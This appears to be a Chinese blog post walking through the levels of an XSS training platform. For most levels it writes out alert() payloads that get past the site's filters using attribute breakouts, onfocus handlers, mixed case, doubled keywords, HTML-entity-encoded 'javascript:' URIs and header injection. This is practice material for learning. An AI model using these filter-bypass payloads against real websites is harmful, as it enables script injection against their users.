XSS学习(绕过)

学习平台:xss.tesla-space.com

XSS学习(绕过)

level1

应该没有过滤
https://xss.tesla-space.com/level1.php?name=<script>alert(1);</script>

level2

先试一下<script>alert(1);</script>
需要闭合
' "><script>alert(1);</script>

level3

先试一下' "><script>alert(1);</script>
不行,多试一下,发现单引号没转义
可以用onfocus
发现在最右边加了个单引号,因此需要在alert左边加一个单引号闭合
'onfocus='alert(1)

level4

找一些常用的试一下发现把<>删了
发现和level3比,本题用"闭合"onfocus="alert(1)

level5

试了一下发现改了script,而且需要闭合前面的value

试一下大小写绕过,发现不行
不用srcipt,改用a' "><a href="javascript:alert()">aa</a>

level6

把level5的答案输入,发现herf也被禁用了
' "><sCripT>alert(1);</sCripT>大小写绕过居然可以了

level7

输入level6的答案,发现把script删除了

明显的双写绕过' "><sCrsCripTipT>alert(1);</sCsCripTripT>

level8

应该是要构造herf内容,发现直接输入javascript不行,大小写也不行
可以对javasricpt进行编码,&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert()">

level9

用上题的答案输入提示不合法
猜测需要包含http之类的一个正常网站
发现这种链接点击后是没用的,需要把这个正常网站用/**/注释掉,&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert();/*http://www.baidu.com*/

level10

发现有三个隐藏的input
对这三个变量赋值,看看哪个能生效,看来只有t_sort有用
input中的onfocus之前遇到过,这题特殊的地方在于input属性是隐藏的,可以在输入里重新给type赋值https://xss.tesla-space.com/level10.php?t_link=111&t_history=222&t_sort="onfocus="alert(1)" type=button

level11

试了t_sort发现不行,注意到t_ref是第十关的有关信息,可以抓个包
一步一步更改referer字段

level12

12获取的应该是11User-Anget的值
在此处注入

level13

一眼cookie,需要给变量user赋值

level14

后面的都打不开了,淦

相关推荐
hj5914_前端新手3 小时前
javascript基础- 函数中 this 指向、call、apply、bind
前端·javascript
薛定谔的算法3 小时前
低代码编辑器项目设计与实现:以JSON为核心的数据驱动架构
前端·react.js·前端框架
Hilaku3 小时前
都2025年了,我们还有必要为了兼容性,去写那么多polyfill吗?
前端·javascript·css
yangcode3 小时前
iOS 苹果内购 Storekit 2
前端
LuckySusu3 小时前
【js篇】JavaScript 原型修改 vs 重写:深入理解 constructor的指向问题
前端·javascript
LuckySusu3 小时前
【js篇】如何准确获取对象自身的属性?hasOwnProperty深度解析
前端·javascript
LuckySusu3 小时前
【js篇】深入理解 JavaScript 作用域与作用域链
前端·javascript
LuckySusu3 小时前
【js篇】call() 与 apply()深度对比
前端·javascript
LuckySusu3 小时前
【js篇】addEventListener()方法的参数和使用
前端·javascript
该用户已不存在3 小时前
6个值得收藏的.NET ORM 框架
前端·后端·.net